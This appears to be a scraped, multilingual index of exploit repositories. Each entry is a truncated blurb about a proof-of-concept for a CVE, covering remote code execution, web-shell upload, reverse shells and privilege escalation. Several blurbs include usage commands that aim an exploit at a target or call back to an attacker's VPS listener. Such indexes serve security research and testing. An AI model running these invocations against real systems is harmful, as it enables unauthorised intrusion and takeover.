CVE-2024-39069

ifood Order Manager 'Gestor de Peddios.exe' - DLL劫持 攻击者将一个名为"d3d12.dll"的恶意DLL放置在应用程序在找到合法"d3d12.dll"之前会搜索的目录中。当应用程序启动时，它会加载恶意DLL而非合法DLL，从而允许攻击者在应用程序的上下文中执行任意代码。 供应商主页：https://gestordepedidos.ifood.com.br/ Google Drive：https://drive.google.com/file/d/1p5SavlbLAE2o59l8jj4j-FkENe0Y-P/view?usp=sharin...

Flangvik

Flangvik Prueba de concepto en C para CVE-2021-26855, también conocido como ProxyLogon, compatible con el clásico shell web semi-interactivo, así como con shellcode en…...

CVE-2011-2523

CVE-2011-2523 这是在 vsFTPd 2.3.4 服务中发现的一个漏洞，通过端口 6200 进行重定向，从而提供一个交互式 shell，进而解释命令。 https://www.exploit-db.com/exploits/49757...

CVE-2019-15107

服务器管理工具 Webmin RCE 漏洞CVE-2019-15107 摘要 CVE-2019-15107 是 Unix 系统中使用的基于 Web 的系统管理工具 Webmin 中出现的漏洞。该管理工具的功能中，在修改密码的代码中，特定参数未经过滤直接传递给 Shell 命令执行，从而导致任意代码执行（Remote Code Execution, RCE）。 环境配置与漏洞条件 使用 Webmin 1.920 版本或 1.920 之前的版本时，在修改密码的 passwordchange.cgi 中发现了漏洞。Webmin 通过 SourceForge...

CVE-2025-55182

CVE-2025-55182 Proof of concept exploit for CVE-2025-55182. When successful, it will emulate a shell on the remote target over HTTP-POST requests. Works with both HTTP and HTTPS, but skips any certificate checks. Only supports directory changes with absolute paths. How to use 1. Set up the...

CVE-2021-3456

CVE-2021-3456 Una cadena práctica que comienza con un archivo PDF inocuo y termina en una shell inversa en una instancia EC2 de AWS El Comienzo: Creando un Payload PDF Todo comienza en el frente del ataque. Usando el objeto WScript integrado de PowerShell, incrustamos un script dentro de un PDF q...

CVE-2026-14459-14460-pardus-software

Pardus Software Center — Local Privilege Escalation CVE-2026-14459 & CVE-2026-14460 Proof-of-concept and exploit-ready code for two local privilege escalation issues in the pardus-software package Pardus Software Center version 1.0.4 , both fixed in 1.0.5. CVE| Class| Summary| CVSS 3.1 CERT-TR...

EXPLOIT-CVE-2026-63030

实验 — CVE-2026-63030 “wp2shell” + CVE-2026-60137 Docker 环境故意存在漏洞 ，使用 WordPress Core 7.0.1 和一个 Python exploit 来演示 预认证 wp2shell 攻击链： CVE| 组件| 说明 ---|---|--- CVE-2026-63030| REST API /wp-json/batch/v1| 路由混淆 ：子请求验证与分发之间的不同步 CVE-2026-60137| WPQuery authornotin| 当值为字符串 而非数组时的 SQL 注入 连接在一起，允许攻击者无需任何凭证 执行...

CVE-2015-6967

CVE-2015-6967 针对 Nibbles manager 4.0.3 版本的漏洞利用程序。该漏洞可实现远程代码执行（RCE）。 依赖 optparse, signal, requests 用法 root@kitploit: python3 CVE-2015-6967.py --url http://10.129.156.150/ --username admin --password nibbles + Login Succesfuly! + Uploading shell... Shell has been uploaded!...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ 和 OpenWire 1 Apache ActiveMQ 与 OpenWire 概述 ActiveMQ 是一个开源的消息传递和集成模式服务器，它包含支持 JMS 的代理（Broker），不仅可以在 Java 环境中使用，还能够实现使用多种语言的系统之间的通信。此外，通过集群功能、数据库以及文件系统，它维护了各系统之间的一致性和持久性。 OpenWire 是 Apache ActiveMQ 使用的一种二进制消息协议。它专为代理（ActiveMQ）与客户端之间的高效数据传输而设计。 CVE-2023-46604 是...

CVE-2025-65731

CVE-2025-65731 CWE-1191: 片上调试与测试接口访问控制不当 D-Link DIR-605L 上的 UART 根 Shell 访问漏洞（硬件 F1，固件 V6.02CN02） 概述 在 D-Link DIR-605L 路由器（硬件版本 F1，固件外部版本 V6.02CN02，运行 Linux 内核 2.4.18）中发现了一个严重的硬件安全漏洞。UART 调试接口缺乏适当的访问控制机制，任何拥有物理访问权限的攻击者均可连接到 UART 引脚，获取未经过身份验证的根 Shell 访问权限。此漏洞对应 CWE-1191：片上调试与测试接口访问控制不当。 受影响产品：...

CVE-2024-44871

MoziloCMS = 3.0.1 认证后远程代码执行 描述 该脚本是一个针对运行 MoziloCMS 的 Web 应用程序进行测试的利用工具。它允许攻击者使用管理员登录，通过 jpg 文件上传 PHP Web shell，将上传的文件重命名为 php，并通过该 php 文件向目标发送系统命令。 ⚠️ 警告：此脚本仅用于教育目的。请负责任地使用，并确保在测试任何系统之前已获得适当授权。未经授权的使用是非法且不道德的。 如何运行 python3 main.py -u USERNAME -p PASSWORD -t TARGETURL 例: python exploit.py -u admin...

CVE-2024-48061

CVE-2024-48061 Langflow 存在远程代码执行漏洞 CVE-2024-48061 poc 用法 root@kitploit: python3 poc.py -i -p -l -lp 描述 此脚本利用目标 Web 服务器上易受攻击的 API 端点 /api/v1/validate/code。 它首先验证易受攻击路径是否存在，然后在指定的侦听 IP 和端口上启动 TCP 侦听器。 侦听器就绪后，它会向目标发送特制有效载荷，以生成一个连接到侦听器的反向 shell。 示例 成功尝试 root@kitploit: python3 poc3.py -i 192.168.0.2 -...

CVE-2023-38646

CVE-2023-38646-exploit "This vulnerability, designated as CVE-2023–38646, allowed attackers to execute arbitrary commands on the server without requiring any authentication." A quick reverse shell exploit script for cve-2023-38646. I did not find this vulnerability, just made the script. Usage...

CVE-2026-53365

CVE-2026-53365 Donar Apoya el mantenimiento de este proyecto con PayPal o escaneando el código QR a continuación. ⚡ Uso Sencillo Usa este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Entornos de laboratorio aislados Entornos de pruebas de...

Project-Exploiting-a-Vulnerability-in-Fuel-CMS-CVE-2018-16763-

本项目旨在对Ackme Support Incorporated最近发布的一个博客进行安全审计，在网站公开前识别任何关键漏洞。任务包括寻找远程执行代码并获取目标系统访问权限的方法。 环境与设置 目标系统：易受攻击的虚拟机 应用程序：Fuel CMS 版本：1.4 利用的漏洞：CVE-2018-16763 工具： 来自GitHub的Python利用脚本 nc netcat — 用于接收反弹shell 攻击步骤 1. 应用程序识别 部署易受攻击的虚拟机并通过Web界面访问后，确定该站点运行的是Fuel CMS 1.4版本，该版本存在远程代码执行（RCE）漏洞。 2. 寻找可用的利用脚本...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell 运行命令 go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port 注意 当你输入目标主机时，请不要忘记添加 http:// 或 https://...

cve-2004-2167

cve-2004-2167 待测试代码： 下载 CentOS 6.4 操作系统 将 Latex2RTF 下载到 Downloads 文件夹，链接如下： root@kitploit: https://sourceforge.net/projects/latex2rtf/files/latex2rtf-win/1.9.15/ cd /home/username/Downloads/ tar -xvf latex2rtf-1.9.15.tar.gz cd latex2rtf-1.9.15 sudo make sudo make install gcc -o exploit exploit.c...

CVE-2024-6132

CVE-2024-6132 Pexels: Free Stock Photos = 1.2.2 - 已验证用户（贡献者+）任意文件上传 用法 root@kitploit: usage: CVE-2024-6132.py -h -u URL -un USERNAME -p PASSWORD -shellurl SHELLURL Pexels: Free Stock Photos = 1.2.2 - 已验证用户（贡献者+）任意文件上传 | 作者：NXPLOIT - KHALED ALENAZI options: -h, --help 显示帮助信息并退出 -u URL, --url URL...

Exploit-CVE-2024-26503

Open eClass RCE 利用工具 此工具旨在利用 Open eClass 平台中已知的漏洞（CVE-2024-26503），通过无限制文件上传缺陷实现远程代码执行（RCE）。攻击者可利用该漏洞上传 Web Shell 至服务器，从而执行任意命令。 免责声明 本工具仅用于教育和道德安全测试目的。我对因使用本工具而导致的任何滥用或损害概不负责。用户必须获得目标系统的明确授权才能进行测试。 前提条件 使用本工具前，请确保您的系统已安装 Python 3.x，并通过 pip 安装 requests 库： root@kitploit: pip install requests 安装...